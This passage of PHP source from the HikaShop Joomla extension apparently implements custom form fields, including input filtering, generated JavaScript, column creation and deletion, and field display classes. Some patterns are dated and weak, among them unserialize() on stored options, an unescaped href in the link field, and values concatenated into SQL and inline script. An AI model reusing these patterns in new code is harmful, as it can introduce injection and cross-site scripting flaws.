		if(!empty($fields)) {
			foreach($fields as $field){
				if(isset($field->field_options['filtering']) &&
!$field->field_options['filtering']){
					$noFilter[]=$field->field_namekey;
				}
			}
		}
		if(!empty($data) && is_array($data)){
			foreach($data as $column => $value){
				$column = trim(strtolower($column));
				if($this->allowed($column,$type)){
					hikashop_secureField($column);

					if(is_array($value)){
						$arrayColumn = false;
						if(substr($type, 0, 4) == 'plg.') {
							$this->_loadExternals();
							foreach($this->externalValues as $externalValue) {
								if($externalValue->value == $type &&
!empty($externalValue->arrayColumns)) {
									$arrayColumn = in_array($column,
$externalValue->arrayColumns);
									break;
								}
							}
						}
						if( $arrayColumn || ($type=='user' &&
$column=='user_params') || ($type=='order' &&
$app->isAdmin() &&
in_array($column,array('history','mail','product')))
) {
							$object->$column = new stdClass();
							foreach($value as $c => $v){
								$c = trim(strtolower($c));
								if($this->allowed($c,$type)){
									hikashop_secureField($c);
									$object->$column->$c = in_array($c,$noFilter) ? $v :
strip_tags($v);
								}
							}
						}else{
							$value = implode(',',$value);
							$object->$column = in_array($column,$noFilter) ? $value :
strip_tags($value);
						}
					}elseif(is_null($safeHtmlFilter)){
						$object->$column = in_array($column,$noFilter) ? $value :
strip_tags($value);
					}else{
						$object->$column = in_array($column,$noFilter) ? $value :
$safeHtmlFilter->clean($value, 'string');
					}
				}
			}
		}
	}

	function
checkFieldsForJS(&$extraFields,&$requiredFields,&$validMessages,&$values){
		foreach($extraFields as $type => $oneType){
			foreach($oneType as $k => $oneField){
				if(empty($oneField->field_js_added)){
					$field_type = $oneField->field_type;
					if(substr($oneField->field_type,0,4) == 'plg.') {
						$field_type = substr($oneField->field_type,4);
						JPluginHelper::importPlugin('hikashop', $field_type);
					}
					$classType = 'hikashop'.ucfirst($field_type);
					$class = new $classType($this);
					$class->JSCheck($oneField,$requiredFields[$type],$validMessages[$type],$values[$type]);
				}
				$extraFields[$type][$k]->field_js_added = true;
			}
		}
	}

	function addJS(&$requiredFields,&$validMessages,$types=array()){
		static $done = false;
		if(!HIKASHOP_PHP5) {
			$doc =& JFactory::getDocument();
		} else {
			$doc = JFactory::getDocument();
		}
		if(!$done){
			$js="var hikashopFieldsJs=Array();
			hikashopFieldsJs['reqFieldsComp']=Array();
			hikashopFieldsJs['validFieldsComp']=Array();";
			$doc->addScriptDeclaration(
"<!--\n".$js."\n//-->\n" );
			$done = true;
		}
		$js='';
		if(!empty($types)){
			foreach($types as $type){
				if(!empty($requiredFields[$type])){
					$js .= "
					hikashopFieldsJs['reqFieldsComp']['".$type."']
=
Array('".implode("','",$requiredFields[$type])."');
					hikashopFieldsJs['validFieldsComp']['".$type."']
=
Array('".implode("','",$validMessages[$type])."');";

				}
				if($type=='register'){
					$js.="
					hikashopFieldsJs['password_different'] =
'".JText::_('PASSWORDS_DO_NOT_MATCH',true)."';
					hikashopFieldsJs['valid_email'] =
'".JText::_('VALID_EMAIL',true)."';";
				}elseif($type=='address'){
					$js.="
					hikashopFieldsJs['valid_phone'] =
'".JText::_('VALID_PHONE',true)."';";
				}
			}
		}
		if(!empty($js)){
			$doc->addScriptDeclaration(
"<!--\n".$js."\n//-->\n" );
		}
	}

	function jsToggle(&$fields,$data,$id=1){
		if (!HIKASHOP_PHP5) {
			$doc =& JFactory::getDocument();
		}else{
			$doc = JFactory::getDocument();
		}
		$js = '';
		static $done = false;
		if(!$done){
			$js.="
			function hikashopToggleFields(new_value,namekey,field_type,id,prefix){
				var arr = new Array();
				var checked = 0;
				arr =
document.getElementsByName('data['+field_type+']['+namekey+'][]');
				if(typeof arr[0] != 'undefined' && typeof
arr[0].length != 'undefined'){
					var size = arr[0].length;
				}else{
					var size = arr.length;
				}
				if(prefix === undefined || !prefix || prefix.length == 0 ||
prefix.substr(-1) != '_')
					prefix = 'hikashop_';
				for(var c = 0; c < size; c++){
					if(typeof arr[0] != 'undefined' && typeof
arr[0].length != 'undefined'){
						var obj =
document.getElementsByName('data['+field_type+']['+namekey+'][]').item(0).item(c);
					}else{
						var obj =
document.getElementsByName('data['+field_type+']['+namekey+'][]').item(c);
					}
					if((typeof obj.checked != 'undefined' &&
obj.checked) || (typeof obj.selected != 'undefined' &&
obj.selected)){
						checked++;
					}
					if((typeof obj.type != 'undefined' &&
obj.type=='checkbox')){
						var specialField = true;
					}
				}
				var checkedGood = 0;
				var count = 0;
				if(typeof hikashopFieldsJs != 'undefined' && typeof
hikashopFieldsJs[field_type] != 'undefined'){
					for(var k in hikashopFieldsJs[field_type][namekey]) {
						if(typeof hikashopFieldsJs[field_type][namekey][k] ==
'object'){
							for(var l in hikashopFieldsJs[field_type][namekey][k]){
								if(typeof hikashopFieldsJs[field_type][namekey][k][l] ==
'string'){
									count++;
									newEl = document.getElementById(namekey+'_'+k);
									if(newEl && ((typeof newEl.checked !=
'undefined' && newEl.checked) || (typeof newEl.selected
!= 'undefined' && newEl.selected))){
										checkedGood++;
									}
								}
							}
						}
					}
				}
				if(typeof arr[0] != 'undefined' && typeof
arr[0].length != 'undefined' && count>1){
					var specialField = true;
				}
				if(typeof hikashopFieldsJs != 'undefined' && typeof
hikashopFieldsJs[field_type] != 'undefined'){
					for(var j in hikashopFieldsJs[field_type][namekey]) {
						if(typeof hikashopFieldsJs[field_type][namekey][j] ==
'object'){
							for(var i in hikashopFieldsJs[field_type][namekey][j]){
								if(typeof hikashopFieldsJs[field_type][namekey][j][i] ==
'string'){
									var elementName =
prefix+field_type+'_'+hikashopFieldsJs[field_type][namekey][j][i];
									if(id){
										elementName = elementName + '_' + id;
									}
									el = document.getElementById(elementName);
									if(!el) continue;
									if(specialField){
										if(checkedGood==count && checkedGood==checked &&
new_value!=''){
											el.style.display='';
											hikashopToggleFields(el.value,hikashopFieldsJs[field_type][namekey][j][i],field_type,id,prefix);
										}else{
											el.style.display='none';
											hikashopToggleFields('',hikashopFieldsJs[field_type][namekey][j][i],field_type,id,prefix);
										}
									}else{
										if(j==new_value){
											el.style.display='';
											hikashopToggleFields(el.value,hikashopFieldsJs[field_type][namekey][j][i],field_type,id,prefix);
										}else{
											el.style.display='none';
											hikashopToggleFields('',hikashopFieldsJs[field_type][namekey][j][i],field_type,id,prefix);
										}
									}
								}
							}
						}
					}
				}
			}";
			$done = true;
		}
		$parents = $this->getParents($fields);

		if(empty($parents)){
			if(!empty($js)) $doc->addScriptDeclaration(
"<!--\n".$js."\n//-->\n" );
			return false;
		}
		$first = reset($parents);
		$type = $first->type;

		if(substr($type, 0, 4) == 'plg.') {
			$this->_loadExternals();
			foreach($this->externalValues as $externalValue) {
				if($externalValue->value == $type &&
!empty($externalValue->datatype)) {
					$type = $externalValue->datatype;
					break;
				}
			}
		}

		$js
.="hikashopFieldsJs['".$type."']=Array();";
		foreach($parents as $namekey => $parent){
			$js.="
			hikashopFieldsJs['".$type."']['".$namekey."']=Array();";
			foreach($parent->childs as $value => $childs){
				$js.="
			hikashopFieldsJs['".$type."']['".$namekey."']['".$value."']=Array();";
				foreach($childs as $field){
					$js.="
			hikashopFieldsJs['".$type."']['".$namekey."']['".$value."']['".$field->field_namekey."']='".$field->field_namekey."';";
				}
			}
		}

		$js .= $this->getLoadJSForToggle($parents,$data,$id);

		$doc->addScriptDeclaration(
"<!--\n".$js."\n//-->\n" );
	}

	function getLoadJSForToggle(&$parents,&$data,$id=1){
		$js="
		window.addEvent('domready', function(){";
		$js.=$this->initJSToggle($parents,$data,$id);
		$js.="});";
		return $js;
	}

	function initJSToggle(&$parents,&$data,$id=1){
		$first = reset($parents);
		$type = $first->type;
		if(substr($type, 0, 4) == 'plg.') {
			$this->_loadExternals();
			foreach($this->externalValues as $externalValue) {
				if($externalValue->value == $type &&
!empty($externalValue->datatype)) {
					$type = $externalValue->datatype;
					if(!empty($externalValue->prefix))
						$id .=
',"'.$externalValue->prefix.'"';
					break;
				}
			}
		}
		$js = '';
		foreach($parents as $namekey => $parent){
			$js.="
			hikashopToggleFields('".@$data->$namekey."','".$namekey
."','".$type."',".$id.");";
		}
		return $js;
	}

	function getParents(&$fields){
		$parents = array();
		if(empty($fields)){
			return false;
		}
		foreach($fields as $k => $field){

			if(!empty($field->field_options['limit_to_parent'])){
				$parent = $field->field_options['limit_to_parent'];

				if(!isset($parents[$parent])){
					$obj=new stdClass();
					$obj->type = $field->field_table;
					$obj->childs = array();
					$parents[$parent]=$obj;
				}
				$parent_value = @$field->field_options['parent_value'];
				if(is_array($parent_value)){
					foreach($parent_value as $value){
						if(!isset($parents[$parent]->childs[$value])){
							$parents[$parent]->childs[$value]=array();
						}
						$parents[$parent]->childs[$value][$field->field_namekey]=$field;
					}
				}else{
					if(!isset($parents[$parent]->childs[$parent_value])){
						$parents[$parent]->childs[$parent_value]=array();
					}
					$parents[$parent]->childs[$parent_value][$field->field_namekey]=$field;
				}
			}
		}
		return $parents;
	}

	function allowed($column,$type='user'){
		$restricted = array(
			'user'=>array('user_partner_price'=>1,'user_partner_paid'=>1,'user_created_ip'=>1,'user_partner_id'=>1,'user_partner_lead_fee'=>1,'user_partner_click_fee'=>1,'user_partner_percent_fee'=>1,'user_partner_flat_fee'=>1),
			'order'=>array('order_id'=>1,'order_billing_address_id'=>1,'order_shipping_address_id'=>1,'order_user_id'=>1,'order_status'=>1,'order_discount_code'=>1,'order_created'=>1,'order_ip'=>1,'order_currency_id'=>1,'order_status'=>1,'order_shipping_price'=>1,'order_discount_price'=>1,'order_shipping_id'=>1,'order_shipping_method'=>1,'order_payment_id'=>1,'order_payment_method'=>1,'order_full_price'=>1,'order_modified'=>1,'order_partner_id'=>1,'order_partner_price'=>1,'order_partner_paid'=>1,'order_type'=>1,'order_partner_currency_id'=>1)
		);
		if(substr($type, 0, 4) == 'plg.') {
			$this->_loadExternals();
		}

		if(isset($restricted[$type][$column])){
			$app = JFactory::getApplication();
			if(!$app->isAdmin()){
				return false;
			}
		}
		return true;
	}

	function _loadExternals() {
		if($this->externalValues == null) {
			$this->externalValues = array();
			JPluginHelper::importPlugin('hikashop');
			$dispatcher = JDispatcher::getInstance();
			$dispatcher->trigger('onTableFieldsLoad', array(
&$this->externalValues ) );
			if(!empty($this->externalValues)) {
				foreach($this->externalValues as &$externalValue) {
					if(!empty($externalValue->table) &&
substr($externalValue->value, 0, 4) != 'plg.')
						$externalValue->value = 'plg.' .
$externalValue->value;
					unset($externalValue);
				}
			}
		}
	}

	function explodeValues($values){
		$allValues = explode("\n",$values);
		$returnedValues = array();

		foreach($allValues as $id => $oneVal){
			$line = explode('::',trim($oneVal));
			$var = $line[0];
			$val = $line[1];
			if(count($line)==2){
				$disable = '0';
			}else{
				$disable = $line[2];
			}
			if(strlen($val)>0){
				$obj = new stdClass();
				$obj->value = $val;
				$obj->disabled = $disable;
				$returnedValues[$var] = $obj;
			}
		}
		return $returnedValues;
	}

	function getFieldName($field){
		$app = JFactory::getApplication();
		if($app->isAdmin()) return
$this->trans($field->field_realname);
		return '<label
for="'.$this->prefix.$field->field_namekey.$this->suffix.'">'.$this->trans($field->field_realname).'</label>';
	}

	function trans($name){
		$val =
preg_replace('#[^a-z0-9]#i','_',strtoupper($name));
		$trans = JText::_($val);
		if($val==$trans){
			$trans = $name;
		}
		return $trans;
	}

	function get($field_id,$default=null){
		$query = 'SELECT a.* FROM
'.hikashop_table('field').' as a WHERE a.`field_id` =
'.intval($field_id).' LIMIT 1';
		$this->database->setQuery($query);

		$field = $this->database->loadObject();
		if(!empty($field->field_options)){
			$field->field_options = unserialize($field->field_options);
		}
		if(!empty($field->field_display)){
			$display_values = explode(';', trim($field->field_display,
';'));
			$field->field_display = array();
			foreach($display_values as $display_value) {
				if(strpos($display_value, '=') === false)
					continue;
				list($k,$v) = explode('=', $display_value, 2);
				$field->field_display[$k] = (int)$v;
			}
		}

		if(!empty($field->field_value)){
			$field->field_value =
$this->explodeValues($field->field_value);
		}

		return $field;
	}

	function saveForm() {
		$field = new stdClass();
		$field->field_id = hikashop_getCID('field_id');

		$formData = JRequest::getVar( 'data', array(), '',
'array' );
		foreach($formData['field'] as $column => $value){
			hikashop_secureField($column);
			if($column == 'field_default') {
				continue;
			} else {
				if(is_array($value)) $value = implode(',',$value);
				$field->$column = strip_tags($value);
			}
		}

		$fields = array( &$field );
		if(isset($field->field_namekey)) { $namekey =
$field->field_namekey; }
		$field->field_namekey = 'field_default';
		if($this->_checkOneInput($fields,$formData['field'], $data,
'', $oldData)) {
			if(isset($formData['field']['field_default'])
&&
is_array($formData['field']['field_default'])){
				$defaultValue = '';
				foreach($formData['field']['field_default'] as
$value){
					if(empty($defaultValue)){
						$defaultValue .= $value;
					}else{
						$defaultValue .= ",".$value;
					}
				}
				$field->field_default = strip_tags($defaultValue);
			}else{
				$field->field_default =
@strip_tags($formData['field']['field_default']);
			}
		}
		unset($field->field_namekey);
		if(isset($namekey)) { $field->field_namekey = $namekey; }

		$fieldOptions = JRequest::getVar('field_options', array(),
'', 'array');
		foreach($fieldOptions as $column => $value){
			if(is_array($value)){
				foreach($value as $id => $val){
					hikashop_secureField($val);
					$fieldOptions[$column][$id] = strip_tags($val);
				}
			}else{
				$fieldOptions[$column] = strip_tags($value);
			}
		}

		$fieldtype = hikashop_get('type.fields');
		$fieldtype->load($field->field_table);
		if(!empty($fieldtype->externalOptions) &&
isset($fieldtype->allValues[$field->field_type])) {
			$linkedOptions =
$fieldtype->allValues[$field->field_type]['options'];
			foreach($fieldtype->externalOptions as $key => $extraOption) {
				if(in_array($key, $linkedOptions)) {
					$o = is_array($extraOption) ? $extraOption['obj'] :
$extraOption->obj;
					if(is_string($o))
						$o = new $o();

					if(method_exists($o, 'save')) {
						$o->save($fieldOptions);
					}
				}
			}
		}

		if($field->field_type == "customtext"){
			$fieldOptions['customtext'] =
JRequest::getVar('fieldcustomtext','','','string',JREQUEST_ALLOWRAW);
			if(empty($field->field_id)){
			 	$field->field_namekey =
'customtext_'.date('z_G_i_s');
			}else{
				$oldField = $this->get($field->field_id);
				if($oldField->field_core){
					$field->field_type=$oldField->field_type;
				}
			}
		}

		$field->field_options = serialize($fieldOptions);

		$fieldDisplay = JRequest::getVar('field_display', array(),
'', 'array');
		if(!empty($fieldDisplay)) {
			$field->field_display = ';';
			foreach($fieldDisplay as $k => $v) {
				$field->field_display .= $k . '=' . (int)$v .
';';
			}
		}

		$fieldValues = JRequest::getVar('field_values', array(),
'', 'array' );
		if(!empty($fieldValues)){
			$field->field_value = array();
			foreach($fieldValues['title'] as $i => $title){
				if(strlen($title)<1 &&
strlen($fieldValues['value'][$i])<1) continue;
				$value = strlen($fieldValues['value'][$i])<1 ? $title :
$fieldValues['value'][$i];
				$disabled = strlen($fieldValues['disabled'][$i])<1 ?
'0' : $fieldValues['disabled'][$i];
				$field->field_value[] =
strip_tags($title).'::'.strip_tags($value).'::'.strip_tags($disabled);
			}
			$field->field_value =
implode("\n",$field->field_value);
		}

		if(empty($field->field_id) && $field->field_type !=
'customtext'){
			if(empty($field->field_namekey)) $field->field_namekey =
$field->field_realname;
			$field->field_namekey = preg_replace('#[^a-z0-9_]#i',
'',strtolower($field->field_namekey));
			if(empty($field->field_namekey)){
				$this->errors[] = 'Please specify a namekey';
				return false;
			}
			if($field->field_namekey > 50){
				$this->errors[] = 'Please specify a shorter column name';
				return false;
			}
			if(in_array(strtoupper($field->field_namekey),array(
					'ACCESSIBLE',
					'ADD',
					'ALL',
					'ALTER',
					'ANALYZE',
					'AND',
					'AS',
					'ASC',
					'ASENSITIVE',
					'BEFORE',
					'BETWEEN',
					'BIGINT',
					'BINARY',
					'BLOB',
					'BOTH',
					'BY',
					'CALL',
					'CASCADE',
					'CASE',
					'CHANGE',
					'CHAR',
					'CHARACTER',
					'CHECK',
					'COLLATE',
					'COLUMN',
					'CONDITION',
					'CONSTRAINT',
					'CONTINUE',
					'CONVERT',
					'CREATE',
					'CROSS',
					'CURRENT_DATE',
					'CURRENT_TIME',
					'CURRENT_TIMESTAMP',
					'CURRENT_USER',
					'CURSOR',
					'DATABASE',
					'DATABASES',
					'DAY_HOUR',
					'DAY_MICROSECOND',
					'DAY_MINUTE',
					'DAY_SECOND',
					'DEC',
					'DECIMAL',
					'DECLARE',
					'DEFAULT',
					'DELAYED',
					'DELETE',
					'DESC',
					'DESCRIBE',
					'DETERMINISTIC',
					'DISTINCT',
					'DISTINCTROW',
					'DIV',
					'DOUBLE',
					'DROP',
					'DUAL',
					'EACH',
					'ELSE',
					'ELSEIF',
					'ENCLOSED',
					'ESCAPED',
					'EXISTS',
					'EXIT',
					'EXPLAIN',
					'FALSE',
					'FETCH',
					'FLOAT',
					'FLOAT4',
					'FLOAT8',
					'FOR',
					'FORCE',
					'FOREIGN',
					'FROM',
					'FULLTEXT',
					'GRANT',
					'GROUP',
					'HAVING',
					'HIGH_PRIORITY',
					'HOUR_MICROSECOND',
					'HOUR_MINUTE',
					'HOUR_SECOND',
					'IF',
					'IGNORE',
					'IN',
					'INDEX',
					'INFILE',
					'INNER',
					'INOUT',
					'INSENSITIVE',
					'INSERT',
					'INT',
					'INT1',
					'INT2',
					'INT3',
					'INT4',
					'INT8',
					'INTEGER',
					'INTERVAL',
					'INTO',
					'IS',
					'ITERATE',
					'JOIN',
					'KEY',
					'KEYS',
					'KILL',
					'LEADING',
					'LEAVE',
					'LEFT',
					'LIKE',
					'LIMIT',
					'LINEAR',
					'LINES',
					'LOAD',
					'LOCALTIME',
					'LOCALTIMESTAMP',
					'LOCK',
					'LONG',
					'LONGBLOB',
					'LONGTEXT',
					'LOOP',
					'LOW_PRIORITY',
					'MASTER_SSL_VERIFY_SERVER_CERT',
					'MATCH',
					'MAXVALUE',
					'MEDIUMBLOB',
					'MEDIUMINT',
					'MEDIUMTEXT',
					'MIDDLEINT',
					'MINUTE_MICROSECOND',
					'MINUTE_SECOND',
					'MOD',
					'MODIFIES',
					'NATURAL',
					'NOT',
					'NO_WRITE_TO_BINLOG',
					'NULL',
					'NUMERIC',
					'ON',
					'OPTIMIZE',
					'OPTION',
					'OPTIONALLY',
					'OR',
					'ORDER',
					'OUT',
					'OUTER',
					'OUTFILE',
					'PRECISION',
					'PRIMARY',
					'PROCEDURE',
					'PURGE',
					'RANGE',
					'READ',
					'READS',
					'READ_WRITE',
					'REAL',
					'REFERENCES',
					'REGEXP',
					'RELEASE',
					'RENAME',
					'REPEAT',
					'REPLACE',
					'REQUIRE',
					'RESIGNAL',
					'RESTRICT',
					'RETURN',
					'REVOKE',
					'RIGHT',
					'RLIKE',
					'SCHEMA',
					'SCHEMAS',
					'SECOND_MICROSECOND',
					'SELECT',
					'SENSITIVE',
					'SEPARATOR',
					'SET',
					'SHOW',
					'SIGNAL',
					'SMALLINT',
					'SPATIAL',
					'SPECIFIC',
					'SQL',
					'SQLEXCEPTION',
					'SQLSTATE',
					'SQLWARNING',
					'SQL_BIG_RESULT',
					'SQL_CALC_FOUND_ROWS',
					'SQL_SMALL_RESULT',
					'SSL',
					'STARTING',
					'STRAIGHT_JOIN',
					'TABLE',
					'TERMINATED',
					'THEN',
					'TINYBLOB',
					'TINYINT',
					'TINYTEXT',
					'TO',
					'TRAILING',
					'TRIGGER',
					'TRUE',
					'UNDO',
					'UNION',
					'UNIQUE',
					'UNLOCK',
					'UNSIGNED',
					'UPDATE',
					'USAGE',
					'USE',
					'USING',
					'UTC_DATE',
					'UTC_TIME',
					'UTC_TIMESTAMP',
					'VALUES',
					'VARBINARY',
					'VARCHAR',
					'VARCHARACTER',
					'VARYING',
					'WHEN',
					'WHERE',
					'WHILE',
					'WITH',
					'WRITE',
					'XOR',
					'YEAR_MONTH',
					'ZEROFILL',
					'GENERAL',
					'IGNORE_SERVER_IDS',
					'MASTER_HEARTBEAT_PERIOD',
					'MAXVALUE',
					'RESIGNAL',
					'SIGNAL',
					'SLOW',
					'ALIAS',
					'OPTIONS',
					'RELATED',
					'IMAGES',
					'FILES',
					'CATEGORIES',
					'PRICES',
					'VARIANTS',
					'CHARACTERISTICS'))){
				$this->errors[] = 'The column name
"'.$field->field_namekey.'" is reserved. Please use
another one.';
				return false;
			}

			$tables = array($field->field_table);
			if($field->field_table=='item'){
				$tables = array('cart_product','order_product');
			}
			foreach($tables as $table_name){
				if(!HIKASHOP_J30){
					$columnsTable =
$this->database->getTableFields($this->fieldTable($table_name));
					$columns = reset($columnsTable);
				} else {
					$columns =
$this->database->getTableColumns($this->fieldTable($table_name));
				}

				if(isset($columns[$field->field_namekey])){
					$this->errors[] = 'The field
"'.$field->field_namekey.'" already exists in the
table "'.$table_name.'"';
					return false;
				}
			}
			foreach($tables as $table_name){
				$query = 'ALTER TABLE
'.$this->fieldTable($table_name).' ADD
`'.$field->field_namekey.'` TEXT NULL';
				$this->database->setQuery($query);
				$this->database->query();
			}
		}

		$categories = JRequest::getVar( 'category', array(),
'', 'array' );
		JArrayHelper::toInteger($categories);
		$cat=',';
		foreach($categories as $category){
			$cat.=$category.',';
		}
		if($cat==','){
			$cat='all';
		}

		$field->field_categories = $cat;
		$field_id = $this->save($field);
		if(!$field_id) return false;

		if(empty($field->field_id)){
			$orderClass = hikashop_get('helper.order');
			$orderClass->pkey = 'field_id';
			$orderClass->table = 'field';
			$orderClass->groupMap = 'field_table';
			$orderClass->groupVal = $field->field_table;
			$orderClass->orderingMap = 'field_ordering';
			$orderClass->reOrder();
		}
		JRequest::setVar( 'field_id', $field_id);
		return true;

	}

	function delete(&$elements){
		if(!is_array($elements)){
			$elements = array($elements);
		}

		foreach($elements as $key => $val){
			$elements[$key] = hikashop_getEscaped($val);
		}

		if(empty($elements)) return false;

		$this->database->setQuery('SELECT
`field_namekey`,`field_id`,`field_table`,`field_type` FROM
'.hikashop_table('field').'  WHERE `field_core` = 0 AND
`field_id` IN ('.implode(',',$elements).')');
		$fieldsToDelete =
$this->database->loadObjectList('field_id');

		if(empty($fieldsToDelete)){
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::_('CORE_FIELD_DELETE_ERROR'));
			return false;
		}

		$namekeys = array();
		foreach($fieldsToDelete as $oneField){
			if($oneField->field_type!='customtext'){
				if($oneField->field_table=='item'){
					$namekeys['cart_product'][] = $oneField->field_namekey;
					$namekeys['order_product'][] = $oneField->field_namekey;
				}else{
					$namekeys[$oneField->field_table][] = $oneField->field_namekey;
				}
			}
		}
		foreach($namekeys as $table => $fields){
			$this->database->setQuery('ALTER TABLE
'.$this->fieldTable($table).' DROP `'.implode('`,
DROP `',$fields).'`');
			$this->database->query();
		}

		$this->database->setQuery('DELETE FROM
'.hikashop_table('field').' WHERE `field_id` IN
('.implode(',',array_keys($fieldsToDelete)).')');
		$result = $this->database->query();
		if(!$result) return false;

		$affectedRows = $this->database->getAffectedRows();

		foreach($namekeys as $table => $fields){
			$orderClass = hikashop_get('helper.order');
			$orderClass->pkey = 'field_id';
			$orderClass->table = 'field';
			$orderClass->groupMap = 'field_table';
			$orderClass->groupVal = $table;
			$orderClass->orderingMap = 'field_ordering';
			$orderClass->reOrder();
		}

		return $affectedRows;

	}

	function display(&$field, $value, $map, $inside = false, $options =
'', $test = false, $allFields = null, $allValues = null){
		$field_type = $field->field_type;
		if(substr($field->field_type,0,4) == 'plg.') {
			$field_type = substr($field->field_type,4);
			JPluginHelper::importPlugin('hikashop', $field_type);
		}
		$classType = 'hikashop'.ucfirst($field_type);
		$class = new $classType($this);
		if(is_string($value))
			$value = htmlspecialchars($value, ENT_COMPAT,'UTF-8');

		$html =
$class->display($field,$value,$map,$inside,$options,$test,$allFields,$allValues);

		if(!empty($field->field_required)){
			$html .=' <span
class="hikashop_field_required">*</span>';
		}
		return $html;
	}

	function show(&$field,$value,$className=''){
		$field_type = $field->field_type;
		if(substr($field->field_type,0,4) == 'plg.') {
			$field_type = substr($field->field_type,4);
			JPluginHelper::importPlugin('hikashop', $field_type);
		}
		$classType = 'hikashop'.ucfirst($field_type);
		$class = new $classType($this);
		$html = $class->show($field,$value,$className);
		return $html;
	}

	function fieldTable($table_name) {
		if(substr($table_name, 0, 4) == 'plg.') {
			$this->_loadExternals();
			$table_name = substr($table_name, 4);
			foreach($this->externalValues as $name => $externalValue) {
				if($name == $table_name) {
					if(!empty($externalValue->table))
						return 	$externalValue->table;
					break;
				}
			}
		}
		return hikashop_table($table_name);
	}
}

class hikashopItem {
	var $prefix;
	var $suffix;
	var $excludeValue;
	var $report;
	var $parent;

	function __construct(&$obj){
		$this->prefix = $obj->prefix;
		$this->suffix = $obj->suffix;
		$this->excludeValue =& $obj->excludeValue;
		$this->report = @$obj->report;
		$this->parent =& $obj;
	}

	function getFieldName($field){
		$app = JFactory::getApplication();
		if($app->isAdmin()) return
$this->trans($field->field_realname);
		return '<label
for="'.$this->prefix.$field->field_namekey.$this->suffix.'">'.$this->trans($field->field_realname).'</label>';
	}

	function trans($name){
		$val =
preg_replace('#[^a-z0-9]#i','_',strtoupper($name));
		$trans = JText::_($val);
		if($val==$trans){
			$trans = $name;
		}
		return $trans;
	}

	function show(&$field,$value){
		return $this->trans($value);
	}

	function
JSCheck(&$oneField,&$requiredFields,&$validMessages,&$values){
		if(!empty($oneField->field_required)){
			$requiredFields[] = $oneField->field_namekey;
			if(!empty($oneField->field_options['errormessage'])){
				$validMessages[] =
addslashes($this->trans($oneField->field_options['errormessage']));
			}else{
				$validMessages[] =
addslashes(JText::sprintf('FIELD_VALID',$this->trans($oneField->field_realname)));
			}
		}
	}

	function check(&$field,&$value,$oldvalue){
		if(is_string($value))
			$value = trim($value);
		if(!$field->field_required || is_array($value) || strlen($value) ||
strlen($oldvalue)){
			return true;
		}
		if($this->report){
			$app = JFactory::getApplication();
			$app->enqueueMessage(JText::sprintf('PLEASE_FILL_THE_FIELD',$this->trans($field->field_realname)));
		}
		return false;
	}

	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null) { return $value; }
}

class hikashopCustomtext extends hikashopItem{
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		return
$this->trans(@$field->field_options['customtext']);
	}
}

class hikashopText extends hikashopItem{
	var $type = 'text';
	var $class = 'inputbox';
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		$size = empty($field->field_options['size']) ? ''
:
'size="'.intval($field->field_options['size']).'"';
		$size .= empty($field->field_options['maxlength']) ?
'' : '
maxlength="'.intval($field->field_options['maxlength']).'"';
		$size .= empty($field->field_options['readonly']) ?
'' : ' readonly="readonly"';
		$js = '';
		if($inside && strlen($value) < 1){
			$value = addslashes($this->trans($field->field_realname));
			$this->excludeValue[$field->field_namekey] = $value;
			$js = 'onfocus="if(this.value ==
\''.$value.'\') this.value = \'\';"
onblur="if(this.value==\'\')
this.value=\''.$value.'\';"';
		}
		$buffInput = '<input
class="'.$this->class.'"
id="'.$this->prefix.@$field->field_namekey.$this->suffix.'"
'.$size.' '.$js.' '.$options.'
type="'.$this->type.'"
name="'.$map.'"
value="'.$value.'"';
		if(!empty($field->field_required) &&
!empty($field->registration_page))
			$buffInput.=' aria-required="true"
required="required" />';
		else
			$buffInput .= ' />';
		return $buffInput;
	}
	function show(&$field,$value){
		if($field->field_table=='address') return $value;
		return $this->trans($value);
	}
}

class hikashopLink extends hikashopText{
	function show(&$field,$value){
		return '<a
href="'.$this->trans($value).'">'.$this->trans($value).'</a>';
	}
}

class hikashopFile extends hikashopText {
	var $type = 'file';
	var $class = 'inputbox hikashop_custom_file_upload_field';
	function display($field, $value, $map, $inside, $options = '',
$test = false, $allFields = null, $allValues = null){
		$html='';
		if(!empty($value)){
			$html.=$this->show($field,$value,'hikashop_custom_file_upload_link');
		}
		$map = $field->field_table.'_'.$field->field_namekey;
		$html.=
parent::display($field,$value,$map,$inside,$options,$test,$allFields,$allValues);
		$html.= '<span
class="hikashop_custom_file_upload_message">'.JText::sprintf('MAX_UPLOAD',(hikashop_bytes(ini_get('upload_max_filesize'))
> hikashop_bytes(ini_get('post_max_size'))) ?
ini_get('post_max_size') :
ini_get('upload_max_filesize')).'</span>';
		return $html;
	}

	function
JSCheck(&$oneField,&$requiredFields,&$validMessages,&$values){
		$namekey = $oneField->field_namekey;
		if(empty($values->$namekey)){
			return
parent::JSCheck($oneField,$requiredFields,$validMessages,$values);
		}
		return true;
	}

	function
show(&$field,$value,$class='hikashop_custom_file_link'){
		switch($class){
			case 'admin_email':
				return '<a target="_blank"
class="'.$class.'"
href="'.HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value)).'">'.$value.'</a>';
			case 'user_email':
				if(@$field->guest_mode){
					return $value;
				}
				return '<a target="_blank"
class="'.$class.'"
href="'.hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value))).'">'.$value.'</a>';
			default:
				break;
		}
		return '<a target="_blank"
class="'.$class.'"
href="'.hikashop_completeLink('order&task=download&field_table='.$field->field_table.'&field_namekey='.urlencode(base64_encode($field->field_namekey)).'&name='.urlencode(base64_encode($value))).'">'.$value.'</a>';
	}

	function check(&$field,&$value,$oldvalue){
		$class = hikashop_get('class.file');
		$map = $field->field_table.'_'.$field->field_namekey;
		if(empty($field->field_options['file_type'])){
			$field->field_options['file_type']='file';
		}

		$file =
$class->saveFile($map,$field->field_options['file_type']);

		if(!empty($file)){
			$value = $file;
		}else{
			if(!empty($oldvalue)){
				$value = $oldvalue;
			}else{
				$value = '';
			}
		}

		return parent::check($field,$value,$oldvalue);
	}
}

class hikashopImage extends hikashopFile{
	function
show(&$field,$value,$class='hikashop_custom_image_link'){
		if(in_array($class,array('admin_email','user_email'))){
			return parent::show($field,$value,$class);
		}
		if(empty($class)){
